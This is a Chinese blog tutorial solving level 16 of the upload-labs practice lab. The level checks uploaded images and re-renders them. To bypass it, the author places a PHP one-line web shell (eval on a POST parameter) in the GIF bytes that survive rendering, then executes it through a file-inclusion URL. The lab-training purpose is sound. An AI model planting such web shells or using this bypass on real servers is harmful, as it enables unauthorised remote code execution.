upload-labs第16关(判断照片后二次渲染)详解

upload-labs16关-详解(判断是否为照片后进行二次渲染)

首先看一下源码
在这里插入图片描述

了解函数
imagecreatefromgif():
创建一块画布,并从 GIF 文件或 URL 地址载入一副图像
imagecreatefromjpeg():
创建一块画布,并从 JPEG 文件或 URL 地址载入一副图像
imagecreatefrompng():
创建一块画布,并从 PNG 文件或 URL 地址载入一副图像
imagecreatefromwbmp():
创建一块画布,并从 WBMP 文件或 URL 地址载入一副图像
imagecreatefromstring():
创建一块画布,并从字符串中的图像流新建一副图像

首先我们像前面关卡一样,上传图片马,按照我们的习惯,将会在图片的尾部,写入php一句话木马,然后用菜刀或者蚁剑连接,我们先按照此方法进行试验

(1)上传图片马

在这里插入图片描述
(2)用burp拦截,拦截到上传的包
在这里插入图片描述

(3)在图片尾部插入一句话木马,密码是123

<?php @eval($_POST[123]); ?>

在这里插入图片描述

放包上传
在这里插入图片描述
(4)将图片地址复制下来,用菜刀连接,密码设置的是123
在这里插入图片描述

发现连接失败
在这里插入图片描述

原因是照片上传后被渲染了

2. 开始分析渲染的内容

首先将渲染的图片地址复制下来,我们下载到本地

图像另存为,放到桌面,名称是2.gif,原始图片是1.gif
在这里插入图片描述
使用hexcap进行文件十六进制对比

红白区域是未被渲染的,红色区域都是已经被渲染的,观察,已经和源文件的hex值不一样了
在这里插入图片描述
在这里插入图片描述

我们将一句话木马插入没有被渲染的地方,大概就是在文件前段,
(注意:不要从头部插入,会破坏gif文件头,验证图片失败,上传不了)

再次上传,并burp抓包
在这里插入图片描述

结合文件包含漏洞,使用include.php
构成payload
http://192.168.1.66/upload/include.php?file=upload/6169.gif
(别忘了使用include.php包含漏洞)
在这里插入图片描述

成功

在这里插入图片描述

  • 2
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值